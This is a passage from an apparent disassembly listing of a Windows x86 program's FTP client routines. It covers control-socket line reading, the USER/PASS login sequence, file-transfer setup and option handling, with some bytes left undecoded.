		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44743468h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 24681875h, 90004474h, 8091FDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 44741Ch, 91ACE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 44740C68h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 720C6807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
		dd 83F08B77h, 0F33B08C4h, 4681E75h, 90004474h, 809145E8h
		dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0E73DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 74046824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103B8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103B8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471FC ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		call	near ptr 77C371FAh
		nop
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103B8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 681A7FC0h, 447488h, 88B4E890h, 0C4837780h, 5FC03304h
		dd 0C4815B5Eh, 100h, 248C8BC3h,	114h, 0A5E85153h, 83FFFFF8h
		dd 5E5F08C4h, 0C4815Bh,	0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		call	near ptr 77C3F931h
		nop
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474D0
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474C8 ; jumptable 0042E641 case 1
		mov	dl, byte_4474CC
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474C0 ; jumptable 0042E641 case 2
		mov	cl, byte_4474C4
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474B8 ; jumptable 0042E641 case 3
		mov	al, byte_4474BC
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474B0 ; jumptable 0042E641 case 4
		mov	dl, byte_4474B4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
